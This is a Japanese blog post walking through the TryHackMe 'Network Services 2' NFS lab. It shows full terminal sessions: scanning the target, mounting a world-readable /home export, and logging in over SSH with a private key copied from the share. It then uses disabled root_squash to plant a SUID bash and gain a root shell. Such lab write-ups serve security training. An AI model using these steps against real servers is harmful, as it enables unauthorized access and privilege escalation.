1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

TryHackMe Network Services 2 NFS Writeup

Posted at

はじめに

本記事は「TryHackMe:Network Services 2 NFS」のwriteupです。

問題

NFSおよびファイル権限に関する問題です。

回答

ポートスキャンします。
結果sshtcp/22nfstcp/2049で公開されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.127.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 01:03 JST
Nmap scan report for 10.10.127.131
Host is up (0.26s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  3 (RPC #100227)
34033/tcp open  mountd   1-3 (RPC #100005)
36349/tcp open  mountd   1-3 (RPC #100005)
39477/tcp open  nlockmgr 1-4 (RPC #100021)
40273/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.31 seconds

showmountコマンドでNFSサーバのマウント情報を取得してみます。
オプションなしの場合、共有しているクライアントの一覧が表示されます。
-aの場合、クライアントのホスト名と共有しているディレクトリ名が表示されます。
-dの場合、共有しているディレクトリ名だけが表示されます。
-eの場合、ディレクトリを共有可能な相手が表示されます。
それぞれ試しましたが、-eオプションで/homeが全員に共有されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ showmount 10.10.127.131
Hosts on 10.10.127.131:

┌──(kali㉿kali)-[~]
└─$ showmount -a 10.10.127.131
All mount points on 10.10.127.131:

┌──(kali㉿kali)-[~]
└─$ showmount -d 10.10.127.131
Directories on 10.10.127.131:

┌──(kali㉿kali)-[~]
└─$ showmount -e 10.10.127.131
Export list for 10.10.127.131:
/home *

接続元マシンで、共有をマウントするためのディレクトリを作成します。

┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/mount

以下のコマンドでローカルの/tmp/mountにNFSサーバの/homeをマウントします。

sudo mount -t nfs <IP>:<share> /tmp/mount/ -nolock

マウントに成功し、cappucinoというディレクトリがありました。おそらくユーザの名前だと推測できます。
また、中を見ていくとsshの秘密鍵がありました。
対象サーバはsshが稼働しているため、上記ユーザ名と秘密鍵でsshログインできそうです。

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 10.10.127.131:/home /tmp/mount -nolock
[sudo] kali のパスワード:

┌──(kali㉿kali)-[~]
└─$ ls -a /tmp/mount
.  ..  cappucino

┌──(kali㉿kali)-[~]
└─$ ls -a /tmp/mount/cappucino
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .gnupg  .profile  .ssh  .sudo_as_admin_successful

┌──(kali㉿kali)-[~]
└─$ ls -a /tmp/mount/cappucino/.ssh
.  ..  authorized_keys  id_rsa  id_rsa.pub

秘密鍵をローカルにダウンロードし、適切な権限を与え、sshコマンドでログインを試みたところ成功しました。

┌──(kali㉿kali)-[~]
└─$ sudo cp /tmp/mount/cappucino/.ssh/id_rsa ~

┌──(kali㉿kali)-[~]
└─$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  go  id_rsa

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa cappucino@10.10.127.131
The authenticity of host '10.10.127.131 (10.10.127.131)' can't be established.
ED25519 key fingerprint is SHA256:KJ8GpDRYCTgSot8NqCbqRhNYCUarQAXuwbVuII32x/U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.127.131' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu May 11 16:26:34 UTC 2023

  System load:  0.05              Processes:           102
  Usage of /:   45.2% of 9.78GB   Users logged in:     0
  Memory usage: 16%               IP address for eth0: 10.10.127.131
  Swap usage:   0%


44 packages can be updated.
0 updates are security updates.


Last login: Thu Jun  4 14:37:50 2020
cappucino@polonfs:~$ ls
cappucino@polonfs:~$

さて、NFSにはroot_squashという設定がデフォルトで有効になっています。
この設定はNFS共有に接続するユーザーがルート権限でアクセスすることを防止します。有効な場合、アクセスするとnfsnobodyという最小権限のユーザが割り当てられます。
しかし、この機能が無効であった場合、SUIDを持つファイルをNFS共有に作成することが可能になり、それによってシステムにルート権限でアクセスすることができるようになります。

今回対象のサーバはこのroot_squashがオフになっているサーバです。
そして、ルート権限を奪取するためSUIDを付与するファイルはUbuntuのbashファイルにします。
wgetコマンドでホームディレクトリにbashファイルをダウンロードしておきます。

┌──(kali㉿kali)-[~]
└─$ wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
--2023-05-14 16:57:24--  https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
github.com (github.com) をDNSに問いあわせています... 20.27.177.113
github.com (github.com)|20.27.177.113|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 302 Found
場所: https://raw.githubusercontent.com/polo-sec/writing/master/Security%20Challenge%20Walkthroughs/Networks%202/bash [続く]
--2023-05-14 16:57:25--  https://raw.githubusercontent.com/polo-sec/writing/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
raw.githubusercontent.com (raw.githubusercontent.com) をDNSに問いあわせています... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 1113504 (1.1M) [application/octet-stream]
`bash' に保存中

bash                         100%[==============================================>]   1.06M   885KB/s 時間 1.2s

2023-05-14 16:57:26 (885 KB/s) - `bash' へ保存完了 [1113504/1113504]


┌──(kali㉿kali)-[~]
└─$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  bash  go  id_rsa

まず、bashファイルをNFS共有にコピーします。
次に、コピーしたbashファイルの所有者をrootにするため、chownコマンドを使用します。(すでにrootでしたが)
そして、bashファイルにSUID権限を付与するため、chmod +sを実行します。また、実行権限が付与されていなかったためchmod +xも実行しました。
以上により、コピーしたbashを実行するとそのファイルの所有者の権限でbashが実行されます。

┌──(kali㉿kali)-[~]
└─$ sudo cp bash /tmp/mount/cappucino

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/mount/cappucino/bash
-rw-r--r-- 1 root root 1113504  5月 14 17:06 /tmp/mount/cappucino/bash

┌──(kali㉿kali)-[~]
└─$ sudo chown root bash

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/mount/cappucino/bash
-rw-r--r-- 1 root root 1113504  5月 14 17:06 /tmp/mount/cappucino/bash

┌──(kali㉿kali)-[~]
└─$ sudo chmod +s /tmp/mount/cappucino/bash

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/mount/cappucino/bash
-rwSr-Sr-- 1 root root 1113504  5月 14 17:06 /tmp/mount/cappucino/bash

┌──(kali㉿kali)-[~]
└─$ sudo chmod +x /tmp/mount/cappucino/bash

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/mount/cappucino/bash
-rwsr-sr-x 1 root root 1113504  5月 14 17:06 /tmp/mount/cappucino/bash

sshコマンドでcappucinoとしてログインします。
そして、./bash -prootとしてbashを実行します。
rootのホームディレクトリ内のフラグが記載されたファイルを参照することができました。

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa cappucino@10.10.27.197
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun May 14 08:19:16 UTC 2023

  System load:  0.0               Processes:           102
  Usage of /:   45.2% of 9.78GB   Users logged in:     0
  Memory usage: 16%               IP address for eth0: 10.10.27.197
  Swap usage:   0%


44 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May 14 08:14:03 2023 from 10.8.120.61
cappucino@polonfs:~$ ls -la
total 1124
drwxr-xr-x 5 cappucino cappucino    4096 May 14 08:02 .
drwxr-xr-x 3 root      root         4096 Apr 21  2020 ..
-rwsr-sr-x 1 root      root      1113504 May 14 08:06 bash
-rw------- 1 cappucino cappucino      81 May 14 08:16 .bash_history
-rw-r--r-- 1 cappucino cappucino     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 cappucino cappucino    3771 Apr  4  2018 .bashrc
drwx------ 2 cappucino cappucino    4096 Apr 22  2020 .cache
drwx------ 3 cappucino cappucino    4096 Apr 22  2020 .gnupg
-rw-r--r-- 1 cappucino cappucino     807 Apr  4  2018 .profile
drwx------ 2 cappucino cappucino    4096 Apr 22  2020 .ssh
-rw-r--r-- 1 cappucino cappucino       0 Apr 22  2020 .sudo_as_admin_successful
cappucino@polonfs:~$ ./bash -p
bash-4.4# ls /root/
root.txt
bash-4.4# cat /root/root.txt
...

参考

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?